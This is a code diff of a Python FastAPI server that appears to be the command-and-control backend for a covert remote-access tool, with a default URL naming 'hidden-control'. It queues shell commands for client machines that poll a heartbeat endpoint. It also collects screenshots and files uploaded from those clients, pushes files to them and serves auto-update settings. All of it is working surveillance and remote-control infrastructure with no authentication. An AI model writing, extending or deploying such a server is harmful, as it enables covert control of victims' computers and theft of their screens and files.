  async def heartbeat(request: Request):
455
  data = await request.json()
456
  client_id = data.get('client_id')
457
+
458
+ conn = get_db()
459
+ conn.execute("UPDATE clients SET last_seen = ?, status = 'online' WHERE id = ?",
460
+ (datetime.now().isoformat(), client_id))
461
+ cmd = conn.execute('''SELECT id, client_id, type, payload, status FROM commands
462
+ WHERE client_id = ? AND status = 'pending' ORDER BY created_at ASC LIMIT 1''', (client_id,)).fetchone()
463
+
464
+ if cmd:
465
+ conn.execute("UPDATE commands SET status = 'processing' WHERE id = ?", (cmd['id'],))
466
+
467
+ conn.commit()
468
+ conn.close()
469
+
470
+ if cmd:
471
+ return {'commands': [dict(cmd)]}
472
  return {'commands': []}
473
 
474
  @app.post("/api/command")
475
  async def send_command(request: Request):
476
  data = await request.json()
477
  cmd_id = str(uuid.uuid4())
478
+ client_id = data.get('client_id')
479
+ cmd_type = data.get('type', 'shell')
480
+ payload = data.get('payload', '')
481
+
482
+ conn = get_db()
483
+ conn.execute('''INSERT INTO commands (id, client_id, type, payload, status, created_at)
484
+ VALUES (?, ?, ?, ?, 'pending', ?)''',
485
+ (cmd_id, client_id, cmd_type, payload, datetime.now().isoformat()))
486
+ conn.commit()
487
+ conn.close()
488
+
489
+ return {'id': cmd_id, 'status': 'pending'}
490
 
491
  @app.post("/api/command/result")
492
  async def command_result(request: Request):
493
  data = await request.json()
494
+ cmd_id = data.get('command_id')
495
+ result = data.get('result', '')
496
+ status = data.get('status', 'completed')
497
+
498
+ conn = get_db()
499
+ conn.execute("UPDATE commands SET result = ?, status = ? WHERE id = ?", (result, status, cmd_id))
500
+ conn.commit()
501
+ conn.close()
502
+
503
  return {'status': 'ok'}
504
 
505
  @app.post("/api/screenshot")
506
  async def upload_screenshot(client_id: str = Form(...), screenshot: UploadFile = File(...)):
507
+ ext = os.path.splitext(screenshot.filename)[1] or '.jpg'
508
+ filename = f'{client_id}_{int(datetime.now().timestamp())}{ext}'
509
  filepath = f'{UPLOAD_DIR}/screenshots/{filename}'
510
+
511
  content = await screenshot.read()
512
+ async with aiofiles.open(filepath, 'wb') as f:
513
+ await f.write(content)
514
+
515
+ conn = get_db()
516
+ conn.execute("UPDATE clients SET last_seen = ? WHERE id = ?", (datetime.now().isoformat(), client_id))
517
+ conn.commit()
518
+ conn.close()
519
+
520
  return {'url': f'/api/screenshots/{filename}'}
521
 
522
  @app.get("/api/screenshots/{client_id}")
523
  async def get_screenshot(client_id: str):
524
  pattern = f'{UPLOAD_DIR}/screenshots/{client_id}_*'
525
  files = sorted(glob.glob(pattern), key=os.path.getmtime, reverse=True)
526
+ if files:
527
+ return FileResponse(files[0], media_type='image/jpeg')
528
+ raise HTTPException(status_code=404, detail="No screenshot")
529
 
530
  @app.post("/api/file/upload_to_client")
531
  async def upload_to_client(client_id: str = Form(...), path: str = Form(...), file: UploadFile = File(...)):
532
  filename = f'{client_id}_{int(datetime.now().timestamp())}_{file.filename}'
533
  filepath = f'{UPLOAD_DIR}/files/{filename}'
534
+
535
  content = await file.read()
536
+ async with aiofiles.open(filepath, 'wb') as f:
537
+ await f.write(content)
538
+
539
+ # 发送命令让客户端下载
540
  cmd_id = str(uuid.uuid4())
541
+ conn = get_db()
542
+ conn.execute('''INSERT INTO commands (id, client_id, type, payload, status, created_at)
543
+ VALUES (?, ?, 'file_upload', ?, 'pending', ?)''',
544
+ (cmd_id, client_id, filepath, datetime.now().isoformat()))
545
+ conn.commit()
546
+ conn.close()
547
+
548
+ return {'status': 'ok', 'cmd_id': cmd_id, 'filepath': filepath}
549
+
550
+ @app.get("/api/file/download")
551
+ async def download_file_from_client(client_id: str = "", filename: str = ""):
552
+ if not client_id or not filename:
553
+ raise HTTPException(status_code=400, detail="client_id and filename required")
554
+ filepath = f'{UPLOAD_DIR}/files/{client_id}_{filename}'
555
+ if os.path.exists(filepath):
556
+ return FileResponse(filepath)
557
+ raise HTTPException(status_code=404, detail="File not found")
558
 
559
  @app.get("/api/clients")
560
  async def get_clients():
561
+ conn = get_db()
562
  clients = conn.execute('SELECT * FROM clients ORDER BY last_seen DESC').fetchall()
563
  conn.close()
564
+ return [dict(row) for row in clients]
565
+
566
+ @app.get("/api/commands")
567
+ async def get_commands(client_id: str = ""):
568
+ if not client_id:
569
+ return []
570
+ conn = get_db()
571
+ commands = conn.execute('SELECT * FROM commands WHERE client_id = ? ORDER BY created_at DESC LIMIT 10', (client_id,)).fetchall()
572
+ conn.close()
573
+ return [dict(row) for row in commands]
574
+
575
+ @app.get("/api/config")
576
+ async def get_config():
577
+ return {
578
+ 'server_url': os.environ.get('SERVER_URL', 'https://profile114-hidden-control.hf.space'),
579
+ 'poll_interval': 5,
580
+ 'auto_update': True,
581
+ 'latest_version': '1.0.0',
582
+ 'download_url': ''
583
+ }
584
+
585
+ @app.post("/api/config/update")
586
+ async def update_config(request: Request):
587
+ data = await request.json()
588
+ conn = get_db()
589
+ if data.get('latest_version'):
590
+ conn.execute('INSERT OR REPLACE INTO configs (key, value, updated_at) VALUES (?, ?, ?)',
591
+ ('latest_version', data['latest_version'], datetime.now().isoformat()))
592
+ if data.get('download_url'):
593
+ conn.execute('INSERT OR REPLACE INTO configs (key, value, updated_at) VALUES (?, ?, ?)',
594
+ ('download_url', data['download_url'], datetime.now().isoformat()))
595
+ conn.commit()
596
+ conn.close()
597
+ return {'status': 'ok'}
598
 
599
  if __name__ == "__main__":
600
  import uvicorn
601
+ uvicorn.run(app, host="0.0.0.0", port=7860)